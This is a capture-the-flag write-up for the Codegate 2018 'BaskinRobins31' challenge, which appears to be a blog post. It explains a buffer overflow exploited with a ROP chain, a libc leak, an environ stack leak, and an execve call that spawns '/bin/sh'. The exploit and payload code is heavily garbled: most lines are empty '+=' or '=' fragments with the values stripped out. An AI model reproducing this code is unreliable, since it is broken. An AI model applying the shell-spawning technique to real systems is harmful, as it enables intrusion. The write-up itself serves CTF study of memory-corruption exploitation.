Codegate CTF 2018 Qual - BaskinRobins31
Table of Contents
0x00. Introduction
)
Concept
This challenge implements a reverse Baskin Robbins game where you choose a number from 1 to 3 (important), subtract it from 31, and the person who calls the last number 0 loses.
0x01. Vulnerability
__int64 __fastcall
The vulnerability is simple: a buffer overflow occurs in your_turn() where I input data.
0x02. Exploit
= b + b * 0xaf
+= b * 8 # sfp
+=
+=
+=
+=
+=
+=
= -
= +
Since BOF is possible, I performed a libc leak using ROP and successfully obtained the address of execve. Initially, I proceeded with the exploit using the address of system, but a segmentation fault occurred, possibly due to stack alignment issues. Switching to execve made it work.
The problem was how to pass /bin/sh to execve. While I could find and pass it from libc, I solved this with a stack leak using environ.
= b + b * 0xaf
+= b * 8
+=
+=
+=
+=
+=
+=
=
This way, I retrieved the stack address stored in environ, calculated the offset difference with buf+0x8, placed the /bin/sh string at buf+0x8, and passed it as an argument to the execve function.
= b + b * 7
+= b # buf + 0x8
+= b *
+= b * 8
+=
+= b * 0x18
+=
+=
+=
+=
+=
However, in the final payload, when reaching the pppr gadget, only the rsi value became strange and the shell kept failing to spawn.
At first, I was confused and just solved it by calling the pppr gadget twice…
.text:000000000040095D mov rax, [rbp+var_B8]
.text:0000000000400964 mov eax, [rax]
.text:0000000000400966 sub eax, [rbp+choice]
It turned out that while playing the Baskin Robbins game, the value I entered was being decremented lol
So I thought, “Wait, why did it work fine before?” and checked…
;
;
In the previous ROP payload, the size argument of write was reduced by 1 and 2, but it was fine since the address doesn’t use all 8 bytes anyway lol
I structured the dummy differently when writing the payload to identify which payload was being sent, but I didn’t expect such a butterfly effect…
0x03. Payload
= True
=
=
=
= f
=
=
=
=
=
= b + b * 0xaf
+= b * 8 # sfp
+=
+=
+=
+=
+=
+=
= -
= +
= b + b * 0xaf
+= b * 8
+=
+=
+=
+=
+=
+=
=
= b + b * 7
+= b
+= b *
+= b * 8
+=
+= b * 0x18
+=
+=
+=
+=
+=